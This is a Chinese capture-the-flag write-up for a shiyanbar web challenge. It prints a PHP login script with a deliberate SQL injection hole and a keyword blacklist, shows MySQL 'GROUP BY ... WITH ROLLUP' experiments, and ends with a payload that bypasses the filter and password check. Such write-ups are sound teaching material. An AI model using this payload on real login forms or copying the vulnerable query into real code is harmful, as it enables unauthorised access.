实验吧 因缺思汀的绕过 By Assassin(with rollup统计)
这个题目还是比较新鲜的,很久没回实验吧了学到了很多的姿势~不得不说不看提示真心想不到这些,嗯。
首先我们需要了解题目中php的工作原理,首先审源码得到了source.txt得到了源码,然后我们看一下源码干了什么,主要就是一个登陆认证!
<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){$StrValue=implode($StrValue);}if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query);if($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "浜﹀彲璧涜墖锛?";}
}else{print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>
可以看到主要是
$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;
这句话过滤了很多关键词,加上function AttackFilter这个函数起到了过滤的作用,这里是巧妙地用了select过程中用group by with rollup这个统计的方法进行插入查询。我们用mysql做几个小实验就明白这个是怎么用的了!
mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in setmysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
哎,然后我们就看到关键了,这个查询的时候可以想办法
让pwd变成空,而且user这一列用的却是也是存在的字段!
这就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列。
然后我们构造payload
’ or 1=1 group by pwd with rollup limit 1 offset XX#
然后一个试出来就行啦。涨姿势!
这是第二届北京网络安全技术大赛夺旗赛Writeup(Web安全篇)的一个题目
实验吧 因缺思汀的绕过 By Assassin(with rollup统计)相关推荐
- 实验吧-因缺思厅的绕过writeup
实验吧-因缺思汀的绕过WriteUp 题目地址:http://www.shiyanbar.com/ctf/1940 审计网页代码,发现有一个注释:<!--source: source.txt-- ...
- 因缺思汀的绕过——实验吧
因缺思汀的绕过分值:20 来源: pcat 难度:中 参与人数:9534人 Get Flag:3087人 答题人数:3370人 解题通过率:92% 访问解题链接去访问题目,可以进行答题.根据web题一 ...
- [实验吧](web)因缺思厅的绕过 源码审计绕过
0x00 直接看源码吧 早上写了个注入fuzz的脚本,无聊回到实验吧的题目进行测试,发现了这道题 地址:http://ctf5.shiyanbar.com/web/pcat/index.php 分析如 ...
- 因缺思厅Qpython爱之初体验
歪瑞歪瑞因缺思厅的APP ---------------------------------除了美观基本上没什么卵用的分割线----------------------------------- Qp ...
- 实验吧—Web——WP之 上传绕过
我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...
- java程序设计实验一_20145210姚思羽《Java程序设计》实验一实验报告
实验一 Java开发环境的熟悉(Linux + Eclipse) 实验内容 1.使用JDK编译.运行简单的Java程序: 2.使用Eclipse 编辑.编译.运行.调试Java程序. 实验知识点 1. ...
- 因缺思厅的程序员故事
1.面试 面试官:熟悉哪种语言? 应聘者:C# 面试官:知道什么叫类么? 应聘者:我这人实在,工作努力,不知道什么叫累. 面试官:知道什么是包? 应聘者:我这人实在,平常不带包,也不用公司 ...
- 华为HCNA实验15-配置缺省静态路由
- php逻辑难是难在sql,[实验吧] 所有web writeup
实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...
- 实验吧web题(26/26)全writeup!超详细:)
#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...
最新文章
- 阿里公开核心技术:如何摘下4项世界冠军,推理性能比第二名快5倍
- Datatable中对某列求和,三种不同情况下的方法 .
- 东京理科大学 计算机系,东京理科大学
- STM32的map文件学习笔记
- java setlayout_Java Button.setLayoutX方法代码示例
- gson读取json字符串_Java:JSON(Gson)从JSON字符串获取值
- 昆仑通态如何连接sqlserver数据库_sqlserver数据库怎么开启远程连接,给到别人访问...
- 如何做带宽估计和丢包策略
- 测试小阿姨的mac装机列表❤️(不定时更新~)
- 大文件读取mmap磁盘映射
- javascript 下载和打印文件流
- 设计模式----建造者模式 Builder 适配器 Adapter桥接 BridgeCommand命令
- 家用台式计算机硬件配置清单,家用台式电脑配置清单
- 鸿蒙系统1004无标题,华为P50 Pro外观基本确认:居中开孔全面屏首发鸿蒙操作系统...
- HTTPS访问Git远程仓库,上报SSL证书错误解决方法
- 课堂在线录屏:EV录屏软件配置设置
- 洛谷P1156 垃圾陷阱 题解浅谈刷表法与填表法
- ADI官网资料检索技巧
- 阿里云服务器+MobaXtern+Anaconda
- 2021年中国可见光通信(VLC)市场趋势报告、技术动态创新及2027年市场预测